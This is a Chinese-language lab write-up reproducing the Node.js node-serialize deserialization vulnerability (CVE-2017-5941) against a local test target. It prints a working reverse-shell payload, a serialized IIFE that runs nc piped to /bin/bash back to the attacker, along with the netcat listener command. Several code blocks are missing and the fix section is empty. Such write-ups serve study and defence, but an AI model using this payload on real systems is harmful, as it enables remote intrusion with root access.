Node.js 反序列化漏洞遠程執行代碼(CVE-2017-5941)

2.1 摘要

2.1.1 漏洞介紹

  • 漏洞名稱: Exploiting Node.js deserialization bug for Remote Code Execution
  • 漏洞CVE id: CVE-2017-594
  • 漏洞類型: 代碼執行
  • Node.js存在反序列化遠程代碼執行漏洞,若不可信的數據傳入unserrialize()函數,經過傳遞當即調用函數表達式(IIFE)的JavaScript對象能夠實現任意代碼執行。而且Node.js服務端必須存在接收序列的數據接口

2.1.2 漏洞環境

  • 操做機:Kali Linux
  • 目標機:CentOS 6.5

2.1.3 實驗工具

  • exp.txt:利用nodejs代碼執行的代碼文件。

2.2 漏洞復現

  • 首先訪問目標機器http://172.16.12.2能夠看到一個存在node.js漏洞的登陸界面。
  • 使用nc監聽本地端口,用於接收漏洞環境的反彈Shell. nc -lv -p 8080 即監聽本機8080端口
  • 準備反序列化代碼:_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}(),修改裏面的node

  • 用戶名任意輸入,將修改好的反序列化代碼複製到密碼框點擊登陸便可。
    點擊登陸後,以下圖所示:利用成功。
    shell

  • 已經反彈回一個shell,而且權限爲root。
    bash

2.3 漏洞分析

  • 使用0.0.4版本的node-serialize進行研究,成功利用的話,不可信輸入傳遞到 unserialize()的時候能夠執行任意代碼。建立Payload最好使用同一模塊的serialize()函數。 建立如下 JavaScript 對象,將其傳入 serialize() 函數。
  • 運行後獲得如下輸出:
    函數

  • 獲得序列化的字符串,能夠經過unserialize()函數進行反序列化,但問題是代碼執行不會發生,直到觸發對應於對象的rce屬性的函數。能夠使用JavaScript的當即調用函數表達式(IIFE)來調用該函數。若是在函數體以後使用括號(),當對象被建立時,函數將被調用。 它的工做方式相似於C ++中的類構造函數。如今修改過的代碼經 serialize() 函數立刻會被調用。
  • 運行後獲得如下輸出:
  • 成功執行,那麼就有了下面的 exploit:
  • 將其傳入unserialize() 函數,觸發代碼執行。
  • 運行後獲得如下輸出:
    工具

2.4 修復方案

2.5 思考總結

    • 本實踐實現了Node.js 反序列化漏洞遠程執行代碼的復現,並對漏洞原理進行了詳細的分析。該漏洞本質上是構造Payload傳入unserrialize()函數進行反序列化:使用JavaScript的當即調用函數表達式(IIFE),當對象被建立時,將 該JavaScript 對象傳入 serialize() 函數,輸出exploit將其傳入unserialize() 函數,能夠實現任意代碼執行。危害不容小覷。
相關文章
相關標籤/搜索